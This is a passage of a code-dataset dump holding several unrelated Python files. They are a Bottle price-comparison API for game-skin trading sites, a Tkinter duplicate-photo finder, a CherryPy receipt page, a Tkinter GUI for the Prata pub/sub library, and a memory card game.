'csdeals',\n 'opskins.com': 'opskins',\n 'beefun.shop': 'beefun',\n 'tradeit.gg': 'tradeitgg',\n 'csgosell.com': 'csgosell',\n 'skinsjar.com': 'skinsjar',\n 'swap.gg': 'swapgg',\n 'tradeskinsfast.com': 'tradeskinsfast',\n 'c5game.com(sale)': 'c5game-s',\n 'c5game.com(purchase)': 'c5game-p'\n },\n 'pubg': {\n 'opskins.com': 'opskins',\n 'tradeit.gg': 'tradeitgg',\n 'loot.farm': 'lootfarm',\n 'c5game.com(sale)': 'c5game-s',\n 'c5game.com(purchase)': 'c5game-p'\n },\n 'h1z1': {\n 'c5game.com(sale)': 'c5game-s',\n 'c5game.com(purchase)': 'c5game-p',\n 'opskins.com': 'opskins',\n 'tradeit.gg': 'tradeitgg'\n }\n}\n\n\nclass _LegacyAPI:\n\n def __init__(self, storage):\n self.storage = storage\n \n self.app = bottle.Bottle()\n\n bottle.BaseRequest.MEMFILE_MAX = 99999999999999999\n\n self.app.add_hook('after_request', self.hook_cors)\n\n self.app.route('/services/games', 'GET', callback=self.handler_s_games)\n self.app.route('/services/available/', 'GET', callback=self.handler_s_available)\n self.app.route('/services/items_count/', 'GET', callback=self.handler_s_items_count)\n self.app.route('/services/last_updates/', 'GET', callback=self.handler_s_last_updates)\n\n self.app.route('/currencies/', 'GET', self.hanlder_currencies)\n\n self.app.route('/items/all/', 'GET', self.handler_items_all)\n\n self.app.route('/rates/all/', 'GET', self.handler_rates_all)\n self.app.route('/rates/by_names/', 'POST', self.handler_rates_by_names)\n\n self.app.route('/ping', 'GET', self.handler_ping)\n self.app.route('/version', 'GET', self.handler_ver)\n self.app.route('/test', 'POST', self.test)\n\n def test(self):\n return 'test'\n\n def hook_cors(self):\n \"\"\"\n You need to add some headers to each request.\n Don't use the wildcard '*' for Access-Control-Allow-Origin in production.\n \"\"\"\n bottle.response.headers['Access-Control-Allow-Origin'] = '*'\n bottle.response.headers['Access-Control-Allow-Methods'] = 'PUT, GET, POST, DELETE, OPTIONS'\n bottle.response.headers['Access-Control-Allow-Headers'] = '*'\n\n def handler_s_games(self):\n bottle.response.content_type = 'application/json'\n return json.dumps([\n 'csgo',\n 'pubg',\n 'h1z1'\n ])\n \n def handler_s_available(self, game):\n return legacy_codenames[game]\n\n \n def handler_s_items_count(self, game):\n items = json.loads(requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': game\n }\n ).text)\n resp = {}\n for name, info in items.items():\n for field in info:\n if 'available' in field and info[field]:\n if not field.split('|')[0] in resp:\n resp[field.split('|')[0]] = 0\n resp[field.split('|')[0]] += 1\n return resp\n \n \n def handler_s_last_updates(self, game):\n bottle.response.content_type = 'application/json'\n return requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': 'meta:last_updates:{0}'.format(game)\n }\n ).text\n \n \n def hanlder_currencies(self, currency):\n currencies = json.loads(requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': 'meta:currencies'\n }\n ).text)\n return str(currencies.get(currency))\n \n\n def handler_items_all(self, game):\n items = json.loads(requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': game\n }\n ).text)\n litems = {}\n for name, info in items.items():\n litems[name] = {}\n for field in info:\n new_field = field\n for lfname, lcname in legacy_codenames[game].items():\n if lfname in new_field:\n new_field = new_field.replace(lfname, lcname)\n break\n new_field = new_field.replace('|', '-')\n litems[name][new_field] = items[name][field]\n return litems\n \n\n def handler_rates_all(self, game):\n s1_name = bottle.request.query[\"s1_name\"]\n s2_name = bottle.request.query[\"s2_name\"]\n s1_commission = bottle.request.query[\"s1_commission\"]\n s2_commission = bottle.request.query[\"s2_commission\"]\n\n resp = {}\n \n s1_commission = 1-(float(s1_commission)/100)\n s2_commission = 1-(float(s2_commission)/100)\n\n items = json.loads(requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': game\n }\n ).text)\n\n for name, info in items.items():\n s1_av = info.get('{0}|available'.format(s1_name))\n s2_av = info.get('{0}|available'.format(s2_name))\n\n s1_price = info.get('{0}|price'.format(s1_name))\n s2_price = info.get('{0}|price'.format(s2_name))\n\n if s1_price:\n s1_price = float(s1_price)\n s1_price_after_commission = s1_price * s1_commission\n else:\n s1_price = 0\n s1_price_after_commission = 0\n \n if s2_price:\n s2_price = float(s2_price)\n s2_price_after_commission = s2_price * s2_commission\n else:\n s2_price = 0\n s2_price_after_commission = 0\n \n resp[name] = {\n \"s1-av\": s1_av,\n \"s2-av\": s2_av,\n \"s1-price\": s1_price,\n \"s2-price\": s2_price,\n \"s1-s2-rate\": 100-((s1_price/s2_price_after_commission)*100) if s1_price and s2_price else 0,\n \"s2-s1-rate\": ((s1_price_after_commission/s2_price)*100)-100 if s1_price and s2_price else 0,\n }\n \n return resp\n\n\n def handler_rates_by_names(self, game):\n s1_name = bottle.request.forms.get(\"s1_name\")\n s2_name = bottle.request.forms.get(\"s2_name\")\n s1_commission = bottle.request.forms.get(\"s1_commission\")\n s2_commission = bottle.request.forms.get(\"s2_commission\")\n names = bottle.request.forms.get(\"names\")\n # Fix JS issues\n names = names.replace(\"★\", \"★\")\n names = names.replace(\"™\", \"™\")\n # Format\n names = names.split(\",\")\n\n resp = {}\n \n s1_commission = 1-(float(s1_commission)/100)\n s2_commission = 1-(float(s2_commission)/100)\n\n items = json.loads(requests.get(\n 'http://{0}:{1}/get'.format(\n self.storage.conf.cl_host,\n self.storage.conf.cl_port,\n ),\n params={\n 'api_key': self.storage.conf.cl_api_key,\n 'path': game\n }\n ).text)\n\n for name in names:\n info = items.get(name)\n if not info:\n continue\n\n s1_av = info.get('{0}|available'.format(s1_name))\n s2_av = info.get('{0}|available'.format(s2_name))\n\n s1_price = info.get('{0}|price'.format(s1_name))\n s2_price = info.get('{0}|price'.format(s2_name))\n\n s1_link = info.get('{0}|link'.format(s1_name))\n\n if s1_price:\n s1_price = float(s1_price)\n s1_price_after_commission = s1_price * s1_commission\n else:\n s1_price = 0\n s1_price_after_commission = 0\n \n if s2_price:\n s2_price = float(s2_price)\n s2_price_after_commission = s2_price * s2_commission\n else:\n s2_price = 0\n s2_price_after_commission = 0\n \n resp[name] = {\n \"s1-av\": s1_av,\n \"s2-av\": s2_av,\n \"s1-price\": s1_price,\n \"s2-price\": s2_price,\n \"s1-s2-rate\": 100-((s1_price/s2_price_after_commission)*100) if s1_price and s2_price else 0,\n \"s2-s1-rate\": ((s1_price_after_commission/s2_price)*100)-100 if s1_price and s2_price else 0,\n \"s1-link\": s1_link\n }\n \n print(resp)\n \n return resp\n\n \n\n def handler_ver(self):\n return 'legacy'\n\n def handler_ping(self):\n return 'pong'\n\n def run(self):\n self.app.run(host=self.storage.conf.legacy_api_host, port=self.storage.conf.legacy_api_port)","repo_name":"yuriizinets/tradehub","sub_path":"core/src/processes/legacy_api.py","file_name":"legacy_api.py","file_ext":"py","file_size_in_byte":9954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37327242188","text":"import sys, Tkinter, tkFont, ttk\nsys.path.insert(0, \"./src/\")\nimport button, database\nfrom config import *\n\n# Note: need to set size for bg_canvas here; otherwise it will grow disregard the size set while created!\ndef AuxscrollFunction(event):\n bg_canvas.configure(scrollregion=bg_canvas.bbox(\"all\"), height=THUMB_HEIGHT)\n\n# create root\nroot = Tkinter.Tk()\nroot.geometry(str(WINDOW_WIDTH)+\"x\"+str(WINDOW_HEIGHT)+\"+100+100\")\nroot.minsize(width=WINDOW_WIDTH, height=WINDOW_HEIGHT)\nroot.title(\"Find Duplicated Photos\")\n\nTkinter.Grid.columnconfigure(root, 0, weight=0)\nTkinter.Grid.columnconfigure(root, 1, weight=0)\nTkinter.Grid.columnconfigure(root, 2, weight=int(DISPLAY_WIDTH/INFO_WIDTH))\nTkinter.Grid.columnconfigure(root, 3, weight=0)\nTkinter.Grid.rowconfigure(root, 0, weight=int(DISPLAY_HEIGHT/THUMB_HEIGHT))\nTkinter.Grid.rowconfigure(root, 1, weight=0)\nTkinter.Grid.rowconfigure(root, 2, weight=0)\n\n# create frame for displaying selected photo\ndisplay_photo_frame = Tkinter.Frame(root, height=DISPLAY_HEIGHT, width=DISPLAY_WIDTH)\ndisplay_photo_frame.grid(row=0, column=0, columnspan=3)\n\n# create frame for displaying file info\ndisplay_photo_info_frame = Tkinter.Frame(root, height=DISPLAY_HEIGHT, width=INFO_WIDTH, background=\"white\")\ndisplay_photo_info_frame.grid(row=0, column=3, sticky=Tkinter.E+Tkinter.W+Tkinter.N+Tkinter.S)\ndisplay_photo_info_frame.pack_propagate(False) # by default the frame will shrink to whatever is inside of it\n\n# create background for scroll bar\nbg_frame = Tkinter.Frame(root, height=THUMB_HEIGHT)\nbg_frame.grid(row=1, column=0, columnspan=4, sticky=Tkinter.E+Tkinter.W+Tkinter.N+Tkinter.S)\nbg_canvas = Tkinter.Canvas(bg_frame, background='white')\nxscrollbar = Tkinter.Scrollbar(bg_frame, orient=\"horizontal\", command=bg_canvas.xview)\nxscrollbar.pack(side=Tkinter.BOTTOM, fill=\"x\")\nxscrollbar.grid_forget()\nbg_canvas.configure(xscrollcommand=xscrollbar.set)\nbg_canvas.pack(fill=Tkinter.BOTH, expand=True, pady=5)\n\n# create frame for duplicated photo batch display\nbatch_photo_frame = Tkinter.Frame(bg_canvas, height=THUMB_HEIGHT, background='white')\nbg_canvas.create_window((0,0),window=batch_photo_frame,anchor='nw')\nbatch_photo_frame.bind(\"\", AuxscrollFunction)\n# Note: don't pack batch_photo_frame here, otherwise scroll bar won't show!!!\n\n# create photo database and loading progress bar\nprogress_bar = ttk.Progressbar(root, orient=Tkinter.HORIZONTAL, length=PROGRESS_BAR_LENGTH, mode='determinate')\nprogress_bar.grid(row=2, column=2, columnspan=2, sticky=Tkinter.E+Tkinter.W, padx=10)\ndb = database.Database(progress_bar)\n\n# create buttons\n#button_cfg = button.ConfigButton(root, db, 2, 3)\nbutton_next = button.NextBatchButton(root, batch_photo_frame, display_photo_frame, display_photo_info_frame, db, 2, 1)\nbutton_open = button.OpenFolderButton(root, batch_photo_frame, db, button_next, 2, 0)\n\nroot.mainloop()\n","repo_name":"ybdarrenwang/DuplicatedPhotoFinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"17492919931","text":"import cherrypy\nfrom bs4 import BeautifulSoup\n\n\nclass botUI(object):\n def __init__(self):\n self.data = {}\n\n @cherrypy.expose\n def home(self):\n return open(\"UI/templates/index.html\")\n\n @cherrypy.expose\n def items(self):\n return open(\"UI/templates/items.html\")\n\n @cherrypy.expose\n def agentDomJs(self):\n return open(\"UI/jscripts/agentDemo.bundle.min.js\")\n\n @cherrypy.expose\n @cherrypy.tools.json_in()\n def receipt(self):\n cherrypy.response.headers['Content-Type'] = \"application/json\"\n cherrypy.response.headers['Connection'] = \"close\"\n\n if cherrypy.request.method == \"POST\":\n params = cherrypy.request.json\n\n cname = params[\"Customer Name\"]\n details = params[\"Items\"]\n mrp = params[\"MRP\"]\n total = params[\"Total Price\"]\n\n soup = BeautifulSoup(open(\"UI/templates/receipt.html\"))\n\n m = soup.find('', {'id': \"bill_details\"})\n for k, v in details.items():\n row = soup.new_tag('tr')\n data = soup.new_tag('td')\n data.string = k\n row.append(data)\n data = soup.new_tag('td')\n data.string = \"{} {}\".format(v[0], v[2])\n row.append(data)\n data = soup.new_tag('td')\n data.string = str(v[1])\n row.append(data)\n m.append(row)\n m = soup.find('', {'id': \"customer_name\"})\n m.string = str(cname)\n m = soup.find('', {'id': \"saving_details\"})\n m.string = \"{} - {}\".format(mrp, total)\n m = soup.find('', {'id': \"total_saving\"})\n m.string = \"= {}\".format(mrp - total)\n m = soup.find('', {'id': \"total_amount\"})\n m.string = str(total)\n else:\n soup = \"

Request type should be POST...

\"\n\n return str(soup)\n","repo_name":"RohitMetaCube/supermarket_billing_system","sub_path":"UI/bot_api.py","file_name":"bot_api.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"24008928523","text":"from os.path import split\nfrom PIL import Image, ImageTk\nimport tkinter as tk\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom .graph import *\nfrom .resizingcanvas import *\nfrom .prata import Master, connect\n\nfrom os.path import split\nloc = split(__file__)[0]\n\nICO = loc + \"\\\\Icon.ico\"\n\nclass ManageFrames(tk.Tk):\n\n def __init__(self, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n tk.Tk.wm_title(self, \"Prata\")\n tk.Tk.iconbitmap(self, default = ICO)\n #print(\"Icon\")\n self.geometry(\"1300x800\")\n\n\n self.host = ConnectionData(self)\n\n\n\n self.graph_frame = Graph(self)\n self.graph_frame.startpage()\n self.graph_frame.pack(fill=\"both\", expand=True)\n\n\n self.menu = filemenu(self)\n self.menu.startMenu()\n\n\n def disconnect(self):\n self.host.clear()\n\n self.graph_frame.canvas.destroy()\n self.graph_frame.startpage()\n self.graph_frame.pack(fill=\"both\", expand=True)\n\n self.menu = filemenu(self)\n self.menu.startMenu()\n\n def startGraph(self):\n self.host.retrieveData()\n channel = self.host.parseJson()\n self.graph_frame.title()\n self.graph_frame.showMasterInfo()\n self.graph_frame.pack(fill=\"both\", expand=True)\n\n self.graph_frame.channels = channel\n self.graph_frame.buildGraph()\n\n\nclass filemenu(tk.Frame):\n\n def __init__(self, parent):\n tk.Frame.__init__(self, parent)\n self.parent = parent\n\n def startMenu(self):\n self.menubar = tk.Menu(tearoff=False)\n self.fileMenu = tk.Menu(tearoff=False)\n self.editMenu = tk.Menu(tearoff=False)\n\n self.menubar.add_cascade(label=\"File\", menu=self.fileMenu)\n self.menubar.add_cascade(label=\"Edit\", menu=self.editMenu ,state=\"disabled\")\n\n self.fileMenu.add_command(label=\"Host\", command=self.createMasterWin)\n self.fileMenu.add_command(label=\"Connect\", command=self.connectMasterWin)\n self.fileMenu.add_command(label=\"Disconnect\", command=self.parent.disconnect)\n self.fileMenu.add_command(label=\"Exit\", command=self.parent.host.exit)\n self.fileMenu.entryconfig(\"Disconnect\", state=\"disabled\")\n\n\n channel = tk.Menu(self.editMenu,tearoff=False)\n channel.add_command(label=\"New\", command=self.createChanWin)\n channel.add_command(label=\"Delete\", command=self.deleteChanWindow)\n channel.add_command(label=\"Show\", command=self.parent.graph_frame.listChannel)\n channel.add_command(label=\"Set Port Range\", command=self.setPortRangeChanWindow)\n\n\n publisher = tk.Menu(self.editMenu,tearoff=False)\n publisher.add_command(label=\"Create\", command=self.createPubWin)\n publisher.add_command(label=\"Send\", command=self.sendMessWindow)\n publisher.add_command(label=\"Show\", command=self.parent.graph_frame.listPublishers)\n\n subscriber = tk.Menu(self.editMenu,tearoff=False)\n subscriber.add_command(label=\"Create\", command=self.createSubWin)\n subscriber.add_command(label=\"Listen\", command=self.getMessageWin)\n subscriber.add_command(label=\"Show\", command=self.parent.graph_frame.listSubscribers)\n\n self.editMenu.add_cascade(label='Channel', menu=channel, underline=0)\n self.editMenu.add_cascade(label='Publisher', menu=publisher, underline=0)\n self.editMenu.add_cascade(label='Subscriber', menu=subscriber, underline=0)\n\n self.parent.configure(menu=self.menubar)\n\n def createMasterWin(self):\n master_port = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Create Master\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"150x100\")\n\n port_label = tk.Label(new_window, text = \"Enter Port of new Master\")\n port_label.place(relx = .5, rely = .3, relwidth = 1, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = master_port)\n chan_entry.place(relx = .5, rely = .5, relwidth = .5, relheight = .2,anchor = 'center')\n\n create_sub_bot = tk.Button(new_window, text = \"Create Master\",\\\n command=lambda: self.parent.host.createMaster(master_port,new_window))\n create_sub_bot.place(relx = .5, rely = .75, relwidth = .5, relheight = .2,anchor = 'center')\n\n def connectMasterWin(self):\n master_port = tk.StringVar()\n master_ip = tk.StringVar()\n\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Create Master\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n\n ip_label = tk.Label(new_window, text = \"Enter IP\\nof Master\")\n ip_label.place(relx = .25, rely = .2, relwidth = .4, relheight = .2 ,anchor = 'center')\n\n ip_entry = tk.Entry(new_window, bg = 'white', textvariable = master_ip)\n ip_entry.place(relx = .25, rely = .4, relwidth = .4, relheight = .2,anchor = 'center')\n\n port_label = tk.Label(new_window, text = \"Enter Port\\nof Master\")\n port_label.place(relx = .75, rely = .2, relwidth = .4, relheight = .2 ,anchor = 'center')\n\n port_entry = tk.Entry(new_window, bg = 'white', textvariable = master_port)\n port_entry.place(relx = .75, rely = .4, relwidth = .4, relheight = .2,anchor = 'center')\n\n create_sub_bot = tk.Button(new_window, text = \"Connect to Master\", \\\n command=lambda: self.parent.host.connectMaster(master_ip,master_port,new_window))\n create_sub_bot.place(relx = .5, rely = .6, relwidth = .5, relheight = .2,anchor = 'center')\n\n def createChanWin(self):\n chan_port = tk.StringVar()\n chan_name = tk.StringVar()\n chan_style = tk.StringVar()\n chan_limit = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Create Subscriber\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"400x400\")\n\n port_label = tk.Label(new_window, text = \"Enter Channel port\")\n port_label.place(relx = .25, rely = .2, relwidth = .5, relheight = .1 ,anchor = 'center')\n\n port_entry = tk.Entry(new_window, bg = 'white', textvariable = chan_port)\n port_entry.place(relx = .25, rely = .3, relwidth = .4, relheight = .1,anchor = 'center')\n\n style_entry = tk.OptionMenu(new_window, chan_style, \"FIFO\", \"BROADCAST\")\n style_entry.place(relx = .75, rely = .3, relwidth = .4, relheight = .1,anchor = 'center')\n\n name_label = tk.Label(new_window, text = \"Enter Channel name\")\n name_label.place(relx = .25, rely = .4, relwidth = .5, relheight = .1 ,anchor = 'center')\n\n name_entry = tk.Entry(new_window, bg = 'white', textvariable = chan_name)\n name_entry.place(relx = .25, rely = .5, relwidth = .4, relheight = .1,anchor = 'center')\n\n limit_label = tk.Label(new_window, text = \"Enter Channel limit\")\n limit_label.place(relx = .75, rely = .4, relwidth = .5, relheight = .1 ,anchor = 'center')\n\n limit_entry = tk.Entry(new_window, bg = 'white', textvariable = chan_limit)\n limit_entry.place(relx = .75, rely = .5, relwidth = .4, relheight = .1,anchor = 'center')\n\n create_chan_bot = tk.Button(new_window, text = \"Create Channel\", \\\n command=lambda: self.parent.host.createChannel(chan_port,chan_name,chan_style,chan_limit,new_window))\n create_chan_bot.place(relx = .5, rely = .8, relwidth = .5, relheight = .2,anchor = 'center')\n\n def deleteChanWindow(self):\n remove = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Remove Channel\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"150x150\")\n\n chan_label = tk.Label(new_window, text = \"Enter Channel name \\nto be removed\")\n chan_label.place(relx = .5, rely = .3, relwidth = 1, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = remove)\n chan_entry.place(relx = .5, rely = .5, relwidth = .4, relheight = .2,anchor = 'center')\n\n delete_chan_bot = tk.Button(new_window, text = \"Remove Channel\", command=lambda: self.parent.host.deleteChan(remove,new_window))\n delete_chan_bot.place(relx = .5, rely = .8, relwidth = .6, relheight = .2,anchor = 'center')\n\n def createPubWin(self):\n channel_name = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Create Publisher\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n chan_label = tk.Label(new_window, text = \"Enter Channel names to \\nconnect Publisher to.\")\n chan_label.place(relx = .5, rely = .2, relwidth = 1, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = channel_name)\n chan_entry.place(relx = .5, rely = .4, relwidth = .4, relheight = .2,anchor = 'center')\n\n create_pub_bot = tk.Button(new_window, text = \"Create Publisher\",\\\n command=lambda: self.parent.host.createPublisher(channel_name,new_window))\n create_pub_bot.place(relx = .5, rely = .6, relwidth = .5, relheight = .2,anchor = 'center')\n\n def createSubWin(self):\n channel_name = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Create Subscriber\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n port_label = tk.Label(new_window, text = \"Enter Channel name to \\nconnect Subscriber to \")\n port_label.place(relx = .5, rely = .2, relwidth = 1, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = channel_name)\n chan_entry.place(relx = .5, rely = .4, relwidth = .4, relheight = .2,anchor = 'center')\n\n create_sub_bot = tk.Button(new_window, text = \"Create Subscriber\",\\\n command=lambda: self.parent.host.createSubscriber(channel_name,new_window))\n create_sub_bot.place(relx = .5, rely = .6, relwidth = .5, relheight = .2,anchor = 'center')\n\n def sendMessWindow(self):\n channel_name = tk.StringVar()\n pub_port = tk.StringVar()\n message = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Send message\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n chan_label = tk.Label(new_window, text = \"Channel name \\nto publish to\")\n chan_label.place(relx = .25, rely = .1, relwidth = .5, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = channel_name)\n chan_entry.place(relx = .25, rely = .3, relwidth = .4, relheight = .2,anchor = 'center')\n\n port_label = tk.Label(new_window, text = \"Enter port \\nof publisher\")\n port_label.place(relx = .75, rely = .1, relwidth = .5, relheight = .2 ,anchor = 'center')\n\n port_entry = tk.Entry(new_window, bg = 'white', textvariable = pub_port)\n port_entry.place(relx = .75, rely = .3, relwidth = .4, relheight = .2,anchor = 'center')\n\n message_label = tk.Label(new_window, text = \"Enter Message\")\n message_label.place(relx = .5, rely = .5, relwidth = 1, relheight = .2 ,anchor = 'center')\n\n message_entry = tk.Entry(new_window, bg = 'white', textvariable = message)\n message_entry.place(relx = .5, rely = .7, relwidth = .4, relheight = .2,anchor = 'center')\n\n send_message_bot = tk.Button(new_window, text = \"Send message\", command=lambda:self.parent.host.sendMessage(pub_port,channel_name,message,new_window))\n send_message_bot.place(relx = .5, rely = .9, relwidth = .5, relheight = .2,anchor = 'center')\n\n def getMessageWin(self):\n channel_name = tk.StringVar()\n sub_port = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Get message\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n chan_label = tk.Label(new_window, text = \"Channel name \\nto listen to\")\n chan_label.place(relx = .25, rely = .1, relwidth = .5, relheight = .2 ,anchor = 'center')\n\n chan_entry = tk.Entry(new_window, bg = 'white', textvariable = channel_name)\n chan_entry.place(relx = .25, rely = .3, relwidth = .4, relheight = .2,anchor = 'center')\n\n port_label = tk.Label(new_window, text = \"Enter port \\nof subscriber\")\n port_label.place(relx = .75, rely = .1, relwidth = .5, relheight = .2 ,anchor = 'center')\n\n port_entry = tk.Entry(new_window, bg = 'white', textvariable = sub_port)\n port_entry.place(relx = .75, rely = .3, relwidth = .4, relheight = .2,anchor = 'center')\n\n get_message_bot = tk.Button(new_window, text = \"Get message\", \\\n command=lambda: self.parent.host.getMessage(sub_port,channel_name,new_window))\n get_message_bot.place(relx = .5, rely = .9, relwidth = .5, relheight = .2,anchor = 'center')\n\n def destroyWin(self,window):\n window.destroy()\n\n def setPortRangeChanWindow(self):\n min_port = tk.StringVar()\n max_port = tk.StringVar()\n new_window = tk.Toplevel()\n\n # sets the title of the\n # Toplevel widget\n new_window.title(\"Set Port Range\")\n\n # sets the geometry of toplevel\n new_window.geometry(\"200x200\")\n\n min_label = tk.Label(new_window, text = \"Min\")\n min_label.place(relx = .5, rely = .2, relwidth = .5, relheight = .2,anchor = 'e')\n\n max_label = tk.Label(new_window, text = \"Max\")\n max_label.place(relx = 1, rely = .2, relwidth = .5, relheight = .2,anchor = 'e')\n\n min_port_entry = tk.Entry(new_window, bg = 'white', textvariable = min_port )\n min_port_entry.place(relx = .5, rely = .4, relwidth = .5, relheight = .2,anchor = 'e')\n\n max_port_entry = tk.Entry(new_window, bg = 'white', textvariable = max_port )\n max_port_entry.place(relx = 1, rely = .4, relwidth = .5, relheight = .2,anchor = 'e')\n\n set_port_bot = tk.Button(new_window, text = \"Set Range\", command=lambda: [self.parent.host.setPortRange(min_port,max_port,new_window)])\n set_port_bot.place(relx = 1, rely = .7, relwidth = 1, relheight = .2,anchor = 'e')\n\ndef gui():\n #print(\"Icon\")\n\n app = ManageFrames()\n app.mainloop()\n","repo_name":"roboscienceorg/Prata","sub_path":"prata/prata/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":14663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13279987268","text":"from graphics import *\nfrom random import *\nfrom time import *\nfrom platform import *\n\ndef OsCheck():\n if(system() != 'Windows'):\n return(False)\n\ndef Welcome(win):\n background = Image(Point(randint(-200, 1000), randint(-200, 600)), 'bg.png')\n background.draw(win) \n \n img1 = Image(Point(randint(50, 700), randint(-100, 500)), 'img1.png')\n img1.draw(win) \n \n logo = Image(Point(400, 400/3), 'logo.png')\n logo.draw(win)\n\n txt1 = Text(Point(400, 210), \"Press Anywhere To Start Game\")\n txt1.draw(win) \n \n win.getMouse()\n\n logo.undraw()\n txt1.undraw()\n \ndef GameModePick(win):\n txt0 = Text(Point(400, 50), \"Game Mode\")\n txt0.setSize(36)\n txt0.setStyle('bold')\n txt0.draw(win)\n\n txt = Text(Point(400, 100), \"Pick A Game Mode! Images Mode Or Numbers Mode!\")\n txt.setSize(15)\n txt.draw(win)\n\n img1 = Image(Point(200,200), 'imagesmode.png')\n img1.draw(win)\n\n img2 = Image(Point(600,200), 'numbersmode.png')\n img2.draw(win)\n \n gamemode = -1\n \n while(gamemode < 0):\n point = win.getMouse()\n \n if(point.x < 310 and point.x > 90 and point.y < 230 and point.y > 190):\n gamemode = 0\n else:\n if(point.x < 720 and point.x > 470 and point.y < 230 and point.y > 190):\n gamemode = 1\n else:\n gamemode = -1\n \n txt0.undraw()\n txt.undraw()\n img1.undraw()\n img2.undraw()\n \n return(gamemode)\n \n\ndef Difficult(win):\n txt0 = Text(Point(400, 50), \"Difficult\")\n txt0.setSize(36)\n txt0.setStyle('bold')\n txt0.draw(win)\n\n txt = Text(Point(400, 100), \"Pick A Difficulty! Easy Mode Or Normal Mode Or Hard Mode!\")\n txt.setSize(15)\n txt.draw(win)\n\n img1 = Image(Point(200, 200), 'easy.png')\n img1.draw(win)\n \n img2 = Image(Point(400, 200), 'normal.png') \n img2.draw(win)\n \n img3 = Image(Point(600, 200), 'hard.png') \n img3.draw(win)\n \n difficult = -1\n \n while(difficult < 0):\n point = win.getMouse()\n if(point.x < 250 and point.x > 150 and point.y < 230 and point.y > 150):\n difficult = 16\n else:\n if(point.x < 450 and point.x > 350 and point.y < 230 and point.y > 150):\n difficult = 24\n else:\n if(point.x < 650 and point.x > 550 and point.y < 230 and point.y > 150):\n difficult = 32\n else: \n difficult = -1\n \n txt0.undraw()\n txt.undraw()\n img1.undraw()\n img2.undraw()\n img3.undraw()\n\n num_list = [i%(int(difficult/2)) for i in range(difficult)]\n shuffle(num_list)\n exposed = [False for i in range(difficult)]\n\n return(num_list, exposed, difficult)\n \n\n\n \ndef Init(win):\n background = Image(Point(randint(-200, 1000), randint(-200, 600)), 'bg.png')\n background.draw(win) \n \n txt0 = Text(Point(90, 50), \"Rules\")\n txt0.setSize(36)\n txt0.setStyle('bold')\n txt0.draw(win)\n \n txt = Text(Point(380, 160), \"In turn player chooses two cards and turns them face up. \\n If they are the same number then player wins the pair and earn 1 KEY. \\n If they are not the same number, they are turned face down again.\\n There are 8 KEYS to earn. Use the least moves and time to win the game. \\n Now Type in your name to start game!\")\n txt.setSize(15)\n txt.draw(win)\n \n username = \"\"\n move = 0\n key = 0\n\n txt1 = Text(Point(800/1.5, 350), \"Player Name: \")\n txt1.setSize(14)\n txt1.draw(win)\n \n entry1 = Entry(Point(800/1.5 + 130, 350), 15)\n entry1.setFill('white')\n entry1.draw(win)\n \n while(len(username) < 0 or username.isalpha() == False):\n win.getMouse() \n username = entry1.getText()\n\n txt1.undraw()\n entry1.undraw()\n starttime = time()\n \n txt0.undraw()\n txt.undraw()\n background.undraw()\n \n return(username, move, key, starttime)\n\ndef ReadPicturesNames(t, gamemode):\n if(gamemode == 1):\n if(t == -1):\n a = 'cardback.png'\n else:\n a = 'card.png'\n else:\n if(gamemode == 0):\n if(t != -1):\n a = 'card_' + str(t) + '.png'\n else:\n a = 'cardback.png'\n \n 